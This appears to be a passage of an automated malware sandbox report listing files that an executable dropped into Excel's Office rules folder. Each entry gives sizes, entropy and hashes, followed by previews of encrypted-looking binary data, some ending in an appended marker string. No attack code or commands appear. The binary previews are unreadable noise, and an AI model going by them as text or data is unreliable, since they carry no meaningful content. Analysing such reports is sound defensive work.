Preview:	<?xml,j.P.....DM..SQwd.1~..8...T.v^.IH;mH...%....a......R.G!.;>.....)c!...O&.).....(,/n....C..2.80p.-M.."....c.b.}[#6.x5kvQ...E.(.a.........3n..B..rV.....;..I.2..6-z.........2.....w...!..Z.>.W}d..D.;.<Nt..pxa..z....>.@.FZ.P.s.L.."D....;xSH...zH...!..A\|!.,uk$0..q......"..t{...\...R_.U...X.].O^,.2....y.;r......S...z........k.%...c&.<.3...!.x.s....M.X...[.].h.S....T...J.j...;...../.+.....E....A...")`G9.y..L.U.`.4h.73PT.+R.}(.E.1,\...T.T&d].....w.....b.D...>Y..Z.y...C\...A0S>.Ma.T...Q.....Dd.y..l.......S.5.X....w...........OQO....By.c5y.......f..X...(in\|8.K...]X.u...'.#8]...........Sq.x....V... .1..?.U6......w.....5y~...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.88232793232387
Encrypted:	false
SSDEEP:	24:YNPKxBSkF7RhNaInbGhrmMNfIZCgBR4dEH9bjaAGyoqXVoUwylziNapksxT8j0kX:YMxvzaIb+rXQBR4WdbWynVoU5NQLlD
MD5:	9ABA627DED4EC513A71D4B18B02AA5BD
SHA1:	F08F7E3A752B475B5FC977EF6D50E02D408982F8
SHA-256:	DE27A253347D873F005A42499DD943B7252B028BB739A9F33E98FD90C75822BD
SHA-512:	63A13B0D3380DE1DC78C1C59E363AC201FFBF924CEF7171C4A6C3A2FD6D3A8BC041D3A35303C21DEA1BCDC436513EF37BDB6062DB0149CB3113B22B632B91128
Malicious:	false
Preview:	<?xml....x.g...5..HQJ.L.....T? t..3.%..l.%...Mm.p......R...t{).{.].\|2.]...C.....R.U....0%...I..K.3o........4....P...X.W.k.hI...a.K.v.._G...7...=.S._.......H.%.p.>+G39.4.%..*.....@.`....V.1.~A\T...bF...)..X..>h,E.].A..N.yJ{b......9.$.JqA...K..F=u....J....R.K]r]..bj<....:HZ95?~...0..R.^.....7U.a..`{..p.?...1.M.B..............h.Xl.Q...2.g.:...%0.".f.8...g......~+^?.}-.A....R.m..U&......D...`t.....P;.=..r......5.w...7..f..nO.DZ..Gp..g...u.....v...\@..b.....Q...Dkt.a$..3.%...8,../a._.[.x.W!+8D..Ij...).I....7.../......QIf./).3.....Db..,.C.H.l...9.$..GN....Y.z................_..=..{.a.p.C...VNv...\>.3.h.$z...hD..,i.`3~Ba.7g..N.[hq.....Z.t/....p..{.&7b.W@.t.."#.&.x.h...j..[..~.H3)..LhbX..Q........(6_r:HJ..v...f...K...\qa.9..qAa_..g.'P........'.[.T..N.\|...k....&......K.AZ@.S..Q3.nI.W.F.@....jw...(t..{.M3....@c...Fe.Y......b.x.b.i._(y.e.._V..9.c1zt.^2......g.x.+q). ...:c........{(..S.5..l/..d^....(....0+.i.....&<LD.Id.U.,.qZf....m..Q+,..:.+.~.U....w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.872954953480269
Encrypted:	false
SSDEEP:	48:98tsKtKb31MqR2EDyK+34UCG1WJZNue4V3D:984b31MqIntUGANnUz
MD5:	2E6CE5BACDAF608D97D90C5C2139DC78
SHA1:	5738E8E4EE353F2060CDA8CAE3965FAC900DB986
SHA-256:	358F1C303FF823289B9203C80D5949297AE0772C9EF4BB1ADAE2ACB28358B768
SHA-512:	03EB2244EE20098866C160B16FC9C898C6387A31ACC979783FE6D47D6D421609330D8B3A2DFFE49A7047C1841CB3B5BE13FE8E4FEB94CA9D38056B9719F349F0
Malicious:	false
Preview:	<?xml........Z....3z{4....C...y..=.-~ .-....$...H....8Q...=z......E...<$.z..h.u....6....p^Q.$..iS6.4.8ff..m...N..{t7..EV..C..U.L.x(..U\|n.A..y.d.I:....[.....v.aaSU.....q9.$.M&nB`.d7.7G/..S..xgtH8.f.x_.?..{........G.Q..f.`Q..:o..Z......}.=.1....PD.t.[....T...\.....X9..)...;&8?q.+.\|"..D...v....4..1)6_....<j....%K...+..Q..v!..st...bY......#r.4})(.l......W) l.qL...e..I..A.n....0..0].2.p]Rf.R..>.d.J<>.`..9...1.!G~..'..A.9p...<z.&.s.s..=..{...YH.........-.x....FuO.,.L_.G.....}..7`.X.>....L=J.pl.$t..N7....2~...>..P......a..U..`..7........S..V.H...8[u.1b(.-."..&%t.?.a.13...4R..?f\\|S..._....ET.gp#..^"......d...4.y~....A.Q.\Y..?....Fc.$Y......>C.j'.!U&..PB);SS....x[.+&.u}O.........%..s... ....FO\|Q#^m..m.1.0s8....{b.aM>.n.Q..R..4U...hgU.V4...._L......u..{...!eN.'o.)..v......J....0............X\...I......Y.~(.BS..[P.7.i.j;F7G.q...ky.9..y..X..F..B.(V.."u....N.t..+<.=.$.....N.}4..x.....~....8.*.".X.....?.oUm...v........c.....Bx....s.jW....N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.723866945397659
Encrypted:	false
SSDEEP:	12:E6KZHEk7424abUJIYgFtZZNCd44/Brzu01+8/1A4PBN8mF/RNn4FSRLA2QeEKJn8:oZHEe41JIYUnNCnBrC0l1A4PBxFISJuD
MD5:	F007516F15EBD2FE30E3733A74C19581
SHA1:	3F1361D0C63D4F9BBD9AF17D8D4BE0629142939E
SHA-256:	DFA55E99EAD667B716691976849D966EA19BB4803944DEA4DC485BA2731ED1B4
SHA-512:	35086F1763D3075133FFAA57DC96002F49B3262B77FD144492EEEBCDE70E3C485A7A258DCF0F7DA880AA61B93D65E22129D072964D3C5E03066E8AE8629B8D60
Malicious:	false
Preview:	<?xml.Gc2(...N.GH.;r.eX..o?..92a.0.C..Z.....t}...[."K..:\|...._.J.y.jq.sO..!yL....c....Y.......f..z.%X6.`.}i.(...g=...Q..~.l...D"...{...b....r....A.'..y..[..I>..i...a_.Q..2.H..$Y{...!.p..F..n.s.\|.!.iN$.J..]...#....)?...k.m..f.].rW...g.+.V..si*.S.i#.g.VP..Y.....Do.bL.V.......01...][...J.......V.cx$K.2E9.<...-2@..1.x.=.f........B.;...c..;#..$..#..w..NT..3(.....m.x.Zc&..1..Ij........J..".....Paz...)..b3...Z%..h~J#..5..N.Jn......J(....3....I...(9vRg..\\....I......},I.a.....K.Wp.+../.....!&.b.)....$........d\.$._....+..<mr .'.@.[v.,.2.....jC.w.o.X.s.d.-...../e..=..~.....sX.s].\..y.Y<1.....ok..7.F.m.I...6.{.U..'..6_.E.xh..8ip.."....PWo.f...Y.U..B'.5....=SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.875657414384644
Encrypted:	false
SSDEEP:	48:jYyxyj5k83HrAUg5ldQRYzMLCBPa8SptD:RAXLPg5j7BMb
MD5:	B0A81B8538ACA0F9BD03DD65C8F4DF44
SHA1:	B200B482E46E40E6B941B00B7D42452A27D005B9
SHA-256:	37CD0C73E6A81ACF5B6A66A878E080B2197844673DF64098BD2B2C18FC6D547D
SHA-512:	76B4FAE1B019211C0FF044E308A5531EC34EFB31F271CAEFA238AFF57CCCBB03E328C75A39FF8F40CAB59048AE2AB3247695A22D557C7988AF18F9E1DE0CB276
Malicious:	false
Preview:	<?xml...[.....D.`..6..."..H...h..%TVs..VZ.....4\|u.5.3p..<aI..2r.+0.G....k..5.Qm...../7a...6.......~..%l.{.o.s<->_r....)<.u.o.`..%&.V...R..9c...98.6.l......G.: [&(....._....[.[..(D..&z..&..7.S.b..=e..'..i...............j..<..<..]tY\.V..,..t.~..VI.,...P.....1.Q,.q..~.Y.G.H.d.P%..TyiU.S...US.2....3......i1e..u.i..U..[..../.w..y.A>0.4[..@..0...1m,..r.z....`m..AK#WeJ>.=!..)y.V.1.OAM..m.E...........9..IT...J..Fo!......~b.#.gNR..;.6.r-7b*b..lb..k.Uy....YK..(....4/..Q.+..H.]+2.$.{SV.{....~..$.ml.a....2.A....}.}...g.7H.]a....l[@...6..r.\..(.:.....]............._.S....."n...]dI.../..>9_BX.X.Ic...J1...GsH...W.H.j.......fp.Uk......I.5......rM...b...e...!..G..W.N...)....g.....Tv....V.04...apo.p..w....2......a.\|..F..j......%.. ........4k.D....6X.w..F_.=o......<.QU\.........wf..'cV.,......HZ.. .J0.6.P......A.?. .;~Wn.iZ...'.\|.M..zr.&.......5Kt...a...F.3.p'.......u.t.O..;oF.S..?....oQ..:e.b#...b{#..~..".....3.Y._....`G.x..a7!\|.D..pj..4...`.h.B.........K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.882898270619363
Encrypted:	false
SSDEEP:	48:d/MGoWurArpUh9yvMwTdi4oC6vz11/JDsBLyI7D:d/MNArehIvMwk4q/V2
MD5:	C7B78038EC089AB6A56D8BA62E1A7546
SHA1:	9ECD3CFFB08E37B81E776CDC7FAC1A4786F1FCF0
SHA-256:	2FB03D4058BCEB28039E073DB74828D650B0033204E5DFFFE69BF36761773B2C
SHA-512:	B2FAA050BDB9CC824E7D45DBA082D89B2D1B72A14AF1C3883EBB1933018B1D1988C97F8BCCCE28089CFD84A86755550721C34F0C7727355EFC736083CD607901
Malicious:	false
Preview:	<?xml@...B)^.v.&j.....K....-........;3..~...I.....Y...u...o.>$e(.O.....BH..EA..-x.z...;Ua...'....i.E.w=.I....Q..3.<........V...C9%@Af..d8;_........7(.mV....:..l...........<.._:u.P.fo..J..V..}.3.=..K....~>.t)...E].....4.^..&M..M..#D[._.&....%..L..t.b.....'...eB.'\u...(...G.A.O.."..n.....e.o1.?....k..&..+..7...ef...,.9.--.%..o.6..X.>....6}/.-...'...(H..{..a.....d!.......E...u......?B.....M.m....k.w...d.V../.........'E......].....j...^...........w..w.....Ib.{(.k.....=X..sP.d.i.......#.(.&9...'...5..!...3%..z.fv.}....]p.-Q:E...Bc&.1.I..fU.Dv.......4d'.U./......>...s..k..OI...[..OXnN!.q..G7..8....;t..j..T.w/.@I_.h1.L...u%.Z..\|.{........q. ....ARfQX.f.g<..J.YP&.o. ."..!......n...o...........-f.....E...=.9@.=1..M=...B..[. .......E..GU.T.{.#v8.N.<..s..n..s....._....._..+k...(.jI..LaOk..f.!.,.... v.9.........%.=l......&I"b...+b^lq..P.......56..M.....[i..r..H..X]9c....D}W...T.o.7...+.-.N.:./..BB.Mcx.!f..i...L.s.6.}.b....h.....e.. ...C{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.879780210540548
Encrypted:	false
SSDEEP:	24:6flRjSI7Nez6pdVmU+QxvRMVz+HbrRkJh95EqSg2h8oZAUS2m2pBogjbD:Sz37NhtKamVChkfLFSBjZAIloYD
MD5:	E606390209C92BD5EEB00E1B214BF35C
SHA1:	6D449E717FB4736D7F0D8E68F65452036669269C
SHA-256:	BE33369D1E0FCB404993F3801BB5932BD7BC4153B00D5F7431B9571CA81E6190
SHA-512:	6B3E4DA16206D58480184267A16169053C85FAEF28A14EBF916CCD6351886501B05284F4250E5CC847678D93BB0CCB74CB4F1A7368AEBA47AE214013327F6B62
Malicious:	false
Preview:	<?xml.%s)t $XX..y/.\.)x...D.U..s{.`.1.,+5J....(...7 ..A......J.O\n..l>....S..s...T#...k%...03.u...;_.\`=..W%_&9.WD.k..n......Z.#uB.....n..1...w.y..0.&@N.$.42.6H..u.u.bQK....uo.F..s?....Q3t..1N_D........U=..7..Y....I.....]..$..4..y...e..%@......T..CQMNe.<.U[..........;?.C.1...B...#.U..g.6..^.u.HDg9e#..7."E.X.j.:.....n+.D..../.J. ..U.NO.P.0...o$....fu1.r+{..)....s9...R.~.........&.....a.i`....s..q.....,...5.....QW..:.X..E:.......3... }.sp..@.......t@....6..#t..!6Y.a..8.C.y.3....)..~.. ..(..H..b....\..K..u..,..i.G..O.o......2........T.y.K....1.QK..4.\|..N.F.../.g...4......2[...r.@.S...)..........)l.sE.MI...`."].x..Dm.&.$..dy.. ....+..N.C.....x ...(].G..$...Z.h.....\$Z.W.>z~.Jv...`.4[G..T...F/.>..T..i.0...[y....(....z....m..$?..`.H..,.......9B.......Z,Ft....ET...w...m....r..ky.AL.........j..A.......u.........,U.....3.S.@>h....`..o.=.,..Wl..6....>"s....f.......!..j%/.SJb>....].n7.+..R#J....W..-.g....}3.8...Y.......I......Q.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.887644892232029
Encrypted:	false
SSDEEP:	48:prMnhixD4MwF8/bslDDnNgy265pnCBQpReUvF8EGY+XD:1AgxDzwF8/Efn3v5pfUU+x9T
MD5:	3C64B2CECD1B4D656AF0A5EEC76C9DA6
SHA1:	06D61438615AF148C5B097E04E14BEA2DBCC4D72
SHA-256:	F4C6B8494C2BEAF17C5BA8BA058C7CAA761C2B7517ECAD04742FD8FFBCB7EBAD
SHA-512:	EFF86B023363E6029C7348AFF16766E3C265434D8E5BABA8A6FC2E8ABE06CFA3B48791208727FC6523223D37483513FDEE6D0F1B5EC22960193E98FD6B0EA834
Malicious:	false
Preview:	<?xml...Z'_........Y...(.......X.....M5x.%q.0.....z....W"\|...OgB.F...7.J.6.s.B...d5..`.....f......5....+..=....V...HQ..(..F....{'R.jC.Y.,......w.M.\.../..lG......4E$.-.h(.......g..\..&......:....0..C.ybP.N.R"....d.PE".K\|.mg....g..;.._)...O.......`.S...+....../...d.F..{.!..rOPw...?..{6.......7>..,...e....k....g.......H3.....I...~....F3...O.........6.9..B..!M7Q.):."P.x;)..u.>..o...Xv......x...DH..M\.Z.'I........\....@....3...E..O.W.;S..er.....L.=...,o...n.;..Pq..!.\|R}....R. u...kl.e`LQ$E.Q.8...O(.5.......4.Y.Z.V.ZM5..2~.w...$..$-s.4... }y.....*...}..a.....^Y...+..X...To..I..{...#..@_..,m:j^3.&^.N...;S;..c..s~5[c.ec..Uv..."....x.u..nWg..Bb...........<(=...dKe..:..u...4g.^...A.\y...H..v..(......."..->o..w......Ll'.P6.....X.E...Ai.dh]....J.E5....`..s.....W..GDl.P.....z.N..G...v.3...@?.....G.......ix......=...^.....+%`-.=.....dc..4.\.RGv0....T..X"..P.....G...X.\..g?...c.]y.b.6`.....9...\.n..._.G6.U....6X.....B.....\...c...9.cge@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.88458197635971
Encrypted:	false
SSDEEP:	48:DOgXZ3hd0cCEL0HPY1eoEcAsF4pIia8dLDosD:DOgp/0cCk1NEcAseva8dfv
MD5:	FE5CFA14D0E38FDF296DDC2C2F0285B8
SHA1:	7DA7E39A48FA90160A57612EBD8C52B2C7D2D146
SHA-256:	1626348452D29BC80D2B48415F922F74011DCDC75F04D26302B040FA731AF6DE
SHA-512:	87E5940F67CE219B7016E758171FC64872A1E566C443920E8DFD4338013105B9C1FACED7B8A7D01E828DA7BFB789DCC864898F3D743E7CE1FA3011EBAA626062
Malicious:	false
Preview:	<?xml....P.}.Z..6=..c..Hn..B.y...R.4.kt....e+.~..ljx..r.k..7)7...2..F.<...U.L..b._..~Pw#.p36f.......W!36....<.s).;..q.RlRAh..s(.Wb..`....z..g..m..^.y.=H..K..z....a.{.........ex8.P.my....-.E...p.{....&.pTN...>..7..J}..6J..po.-{....OS..h..d..7D..\|xf.Uo]..... .I..O...3..k...K. .8..i..RQU.).W&r..)..`..ZJ.......<...\...._..a.....b..WRn.;..Cz.z..(...=P.......;M.....R..E....o..C.2.w.x.......-...g,Ts...u....&S.u.A....c....$jy......T.WB.,..s.Qr..2lg..).......Z..D.P./........G...[.gQ..3._M.].XW..s..]...>.J.$L.v.A.{f..k..].....0...5....\|.?.m;K....$.v...b...`.M...}/....t..._.#..-.Og L.....o.V....j<.st#(.<..."..Y1m.F.o..x..s...n.Cu.O....z.s_..@..}..._...i....1N<)ss.6q.....#.\|..@L...H2.....h....V.}.d.)U..P$..>U.Y.....r\6.%'....E....X\|._d.A.Jgp. ...z.Bn.(.....].rA..X......i...G......\g.....DF!.?.X.-%./Wp.)...@....cw..iq. ..........2...F...*.:.k.32.2.......S...p...Z....A.W..&.a.K.\|...\|K....=H....g..@.&.v.s....p...x.d.ANu...zd....{..8."1..mZ....M...-O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.862848696728374
Encrypted:	false
SSDEEP:	48:BmlU+8E4jI3gl/zTudrHSkMrU82skGpEQLYxOa2D:Q2c4uETuDMrUkkGpE6OON
MD5:	7866EFD78EDBA26EAE5E86FF069C67E5
SHA1:	A7DDD4EC3566A6DD3EA2837A05E1FC8C250D1841
SHA-256:	4BDB88C6383773F3252818CBAE41C6CE176F03163EF75715DAB85E6369DAA964
SHA-512:	62DF9922B672117547048A60D4FE1C72C8E795BEA1381413F2753B6A07E7A84E949F9A8F612E9C7E666E3DE680B0F1D60BA32BFE0CC6425BA5464A1E6CFB17B1
Malicious:	false
Preview:	<?xml.L../k..OF..TY.X..\|..]..~....[?l]....O%.1km.--..b...FX._."..l.8.......1b...Z..n%..%?.P.+.i..t..................?V....zw..SK.......f~u...j..2.....X.W..B...W.Jb......"7....h....#..C..Y.-vXu.H`..]/..q...+).45mk.0....d6,.~.."...E.Mw..,4..B.$.Z..d.n./"...Ad ....^-\...7]0.."...>&$JC.c..D....cX.C?].<..;Kha..5.!....0.V.o\|L..........jn.7G....O9...\.=..w. (.......`...Re.:.Q\..P/.P....,..@y.....~a1..<.......w.>.t..."/T?Q.#.S6......L.^...;....\|N.f......\...C..K.bmb....?..D..kuK...YK.F.:Y.F.._\...yE.u..y...we.U...8.)...U...3%.t...y..!.g9.^...<.,v..N}e$..........t.U...?.vL._.j.....:V..r.\|...Z/.x...{./Q.?..L....m}.Pi..iLv..I.i.j.aZ..Z.(7.......v.........g..Z..h.Lx.R<..5.. v.G..Jb..i.2..,....C]..d.......HCj.... .T..j4<..M.b6...FCv..4..^95..52.l... .p...L....f...._.K+..^...M........8.\|gh........A.......)...H.(o.sy~.........i.z...4+?...mrE.B.b.\|...+.>Z.H....H.]...(.........'s..."$.zrU..nCG.@.....VL..h:.R.]U...l:.;.<.?..rdq. .\|X .6..9..<..U_...n...$.2..>i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.887259822633405
Encrypted:	false
SSDEEP:	48:5JOwXmv3QhsLoAxmdUB6ka+rJIB1756VVcYD:Y7Ln0G8kX61Nqz
MD5:	6AC2F02E7C37A8AB8F710A3755714E14
SHA1:	203CAF6E06A8647E36B8A3AB1F185EE6850D7A5D
SHA-256:	07FAA8CAD66A1B6256B49B2A068DA946D21ED562551C3C721F99B7819CF6D623
SHA-512:	A66A74F376D976F024E71AE1E7FF038F3ACB2FCC54B3345993C014508C42FBF664207092208FE75BA0A111BEB67E7E664F3965FB7B7631B02C4E136BDB44EBD4
Malicious:	false
Preview:	<?xml..X.._....5{(_.g51...9....4............E..........;+=.q..^P........./gN...TCv.{K...~...2#...0.{W......E.[(.d..81hq%4..(.j........1...Wb..;ml.`A.'v..&4S.>...../.yP.9.N.=...>R..ww.)..Q..^.M.i.j.1..b.....@.......H.Y.Ps#....?\.1;L...(.WG!.7.F..#Es..\..n..7.I...F4.Y.....}..H....`z...I;..i....QJ....(........).._..,.F...O..M...s..[g.`......s........Y.'=.- .....7..R..F.B.=.q1........tNE..x..:izf..$.j.j''^..q=`.,*.DC.......a).v..-..p.y.G....m.7..F........Wia....e......8...GZ....v.....;h.H2.n....{"....J.S[y5.'0)\|.......A.8.....5;$....T.#..N........C...L+..u..{.o..s...h...#n{..=p[.g>iA..6....~lng.R..w.c.....f..Y}.4.a.G....'w..U~.5><.A.)..+]....g.-<\|..r.(O.<Fx....\|.....Y..^F.hK...A....s..9.p.....L.......q...:..;..:...fC..R............x8.\|..>F..6...).\|...7.....`.....h..S......}t.uZ.N..V.S..}.-.\|iK.....xk.p.M..p?/.+d..T.q.......cGxD.V......aFtz.%.l...k...]...../.`.(\|...I}Q...h..x......%Yr.........9.....5Y....9...ky.M.r.....MK....q....A.k..8e.V.E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.886809908302261
Encrypted:	false
SSDEEP:	48:x96mWwwO1qvW6UeRnKjJhXwYeNFh+CcC8t+blOhcb1ni4JpD:bWwwcA9UehUyFh+1Dt8OInjB
MD5:	55EECE0B6BC230E376A94DCF1BE5741E
SHA1:	0ED4D21633400552D687F74FB0483F2185C3743A
SHA-256:	15A20CDE6D7F870E6D4F3B012D69E1AFE30BBEE2B86A7A91404F69312FEFA3A3
SHA-512:	0D91224FA19377E06AD5BA79E8E74A6448DB380D8660D7476E49DB9D93AF42D85122ECFDE250DF8A08D50B1CB0852FBABF99CEB008E5D6D11F87B52746CA70CD
Malicious:	false
Preview:	<?xml........9...5_F...6........h;.5u/bG..5=...2...C....e..L`AP...A7$...$........U.~.$.........!g...&~..k7.S.8...~N..n$<..-ZO...x.?......=,...R..>..V.vo..=!....\|.G..i5\A...;r...Y.....3q..c.]..v.,\|..AP(^7.8ou...;...7.......>..i.....OJ..,.Vw...ZZ.....{}.G.&.......M.._.2..........R.jzz.]V.ga3..\...-...WQ.E....n..U...8.w$.d..Es....,...@..z.+w.....\.1.oC.....yS...U.LXv.....)........M.S'b.........lN.A_..r......Jb.9...XJ"..8.............x..!3P.p.w}.V.-...~.....G.....b....V..9LW...'....z.......n.j...g]..O......?.^.D....W.......KPn.....t.p .....8..=i.......f.L..b..F6'n.D..C...A.)........t..].....0.D...K.%aM^.4.}.."w.6......T.q...J..'`S..\|.3&..<w.a..i...)......8...(7.....`v.S......'.a.'y.}@x~..v.F\.T.......%...=....UyJ.K.. ....G.,...G..:.g..u.I.>.0.z.1.-5..<g.....H......x.L.jlu.G.nxS....p,.d..l.]...........;.x.{.......w2..T.........'...Zw..e.u..p.JFy.?.K....{..A<....b.. q>mOp.0....V.......8..;V...GM.9R{........c<i.x..ai<@.X.)0s..7mx..?z=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.944057431869146
Encrypted:	false
SSDEEP:	96:CgqQxOJBzxBNxlIus9SUu3s2ATG8pMmw05QoVaPyplVHr:TqQ4JBFBNx5ssn8nHQoEPAtr
MD5:	B2A9B16FF33EBA452CA97A3E574D3E9E
SHA1:	E6B3ADEAE3B91A3D97CBBC73854BA58D70F3A033
SHA-256:	43D8722ECAB0370E5DD3FDBD913820B96EF7C3E0C2C760C486B6CE92091CEC94
SHA-512:	C9D7EE5B26618C9E195B834CDC80939413A3A1F789151A9A4C75B901FDF73222FE7CB1156F953A040A72EA00F21C5E524D60E9A5F3E2E9E508B18A8E35D8B546
Malicious:	false
Preview:	<?xml.BF...........:.......0...vW6g...]..Q.X......`/.U-\..\..-~......91..........\|.<...F.x.(..+...............X.5..}^?..!.l..@.w^$.."....e.......q.\......K..Gx?e._..c.......s.Q.h...>A...........$m.......TM.J,.E.I....^. .W..9..F...d...s.h.,.6.'e....h..P..`x.qp.....n.y.44.+...M.L..B.x....6..\|.m..#m.....tA.0.......vt3..C<R{..b.k>..i^!9..~.2..@...D2......ZaC8.W.W.8....V..Ll>T..!t..t.H..L...u...^..[.3....o.~..S..1.?=<p...%...u..6.a..[T.!..6..r...J.....j..#.&.xi.~.m....,..(....../._....B....S..\B...6J..K^..5Z.h..$..d.'.1..v.d....%.y...:..ms..w........rI......+Z..c...Iu....`"../L...iT.X$.)..Q..zY\|e.....v;5Vu...q.>..>....%..Q..+.R.....Z....~..#....]...V.Y...."Q..]..F.Db.u.X.O.c=.......0...N...#.b.....d..[.e..if..i.e#....e.E.,........'."..q.g..4#.c.x.Kp-....i.]4..#g?..._k.D...<6g?...rH.A..a.(.6A.}zeA}.6..2.<-.?B..Y.M}9-........h....Y.....g.T.E.o....B/X$".....VH.\..[..:q..(R...{.n...\c.0..[-?...[i.w!T.Xp.d......y..!Y....z\..\.%*{....."..e2..yc..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.751756721222819
Encrypted:	false
SSDEEP:	24:izjlWmGtvTM3ehywseUjO6680yaj6dqGBbD:i+tvTWehyfnjx6BLjovRD
MD5:	D46F77436B29196C4BD48D31DBA4765D
SHA1:	311004A929C39055FE0317EA153364AF041B04C4
SHA-256:	8EAC04DBF87730A005A5B046B331BA9C79D69332433E59AEE3F800D56446B090
SHA-512:	B289911BAAF30116D95969A08D74663F5F42D36E27E510E9131F85A21B28F71C6F11A44FF711B82E3E8363B65A7AF67AA06E94FF52B3A809C801EED3BBF2EAC7
Malicious:	false
Preview:	<?xml...o'!t.B...szB.q.!.82..BZ..=Q.r\|..p..<..rRX.... .u<...............])9..<0.....0.i..g&.o.dv...q.c....a...V...~H5...5....\|Im!....@...W?S!....2.J.>...wR......H'.L.<..\w..0...d...=6'mQwY.'.o7.7..p:....f.nM.....;-....a....?..$~.c.M!.$.W..g.....G..Ql....'J.5+..<yYHa6b..%p..(.?.1X........4J...4.5....9.=.J..4.p{.NQ.~...n.?~..dB@.Jm..d..).a....@.a.A..m+.......D....,8?..... ..i...@.....-.....;K..pci8.j.#%....3.DoP_..&]...?.&..@..i{....f...+...m.n..0!..%G.....REZg..h.V2..\|AW.'e[...%...sOh...+.......sW.S7....W4...;A..u....F.Q.B.\|.JW{..Fq.........y.@......va...V$....f...-..........M.T.9b(d..o.)U_..Q.t.........6.hnk.S=..?T?.I1....\>'..ya...ve..+t.....&...M]..V.....z......j...N.fe.M..oWw.....k./.N.;(=.c.x....{....~f>C...xSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.816606654677621
Encrypted:	false
SSDEEP:	24:tiYb8jADck7AmA2RDqbMfhe2RP8j2cCkqboBZPuqfWwDycNHrMBeIpvqWbD:tiYb8jADLUm9NqYfh6QbwNRGB77D
MD5:	57C7098EF589A630730299E0CAD5BEB5
SHA1:	CEF131B3745103789FA9C602AF263ADA4E624384
SHA-256:	5B14BFC94B46AD718F0BEB066A7B85E1D3FCB2A5C79A21FEC358762D8ADF9E68
SHA-512:	4D50C5C79C9F1B29946B62E307B14B345C2CB150EDF803E628D33D1B8EF52B4F127C9F2007A36D0D4A98D1FC43309C117EE863D33DBE12953E5953F45200C8EA
Malicious:	false
Preview:	<?xml...I.s[.d0...=...8v.....].....O.O.v..'.K1.. Y_..}.E.V5........[]}-.......e{.ZuW6r.;(T.]G.d.O.,..~.V..i...GL-./...X.K%b..u.s\..P.%.y....XX..........PJP....h......S..J..2.%orw.D........K.(.F.2J9..i.E......b..i..~...[..cyw4Y....a].T!b.VW.X.f...Ah.:..\|.6..G.K....(\|w.......oa..J.48..o:,G..~m.....(i#.8.f3..y...=..m.....$r96=..)E>F......%.M......:..T....7..C..pRu.1.rGu.6.R...x.$.4.8....g.\|..........{.".k...<3(...N./../.=..V...3.L:...G.m.?..{@(.."..c..}..Z..{.W$I..5.#.wB...h..8..9V.+re.......E, ....M...X..lb..guxju.m..o.S.."i?}j:C.A..%...J.(Y......8.....#R5.7....8:.......s\....T.....S.E...sdp.....(...c..9....D....-......{.....v.X<.lo..m 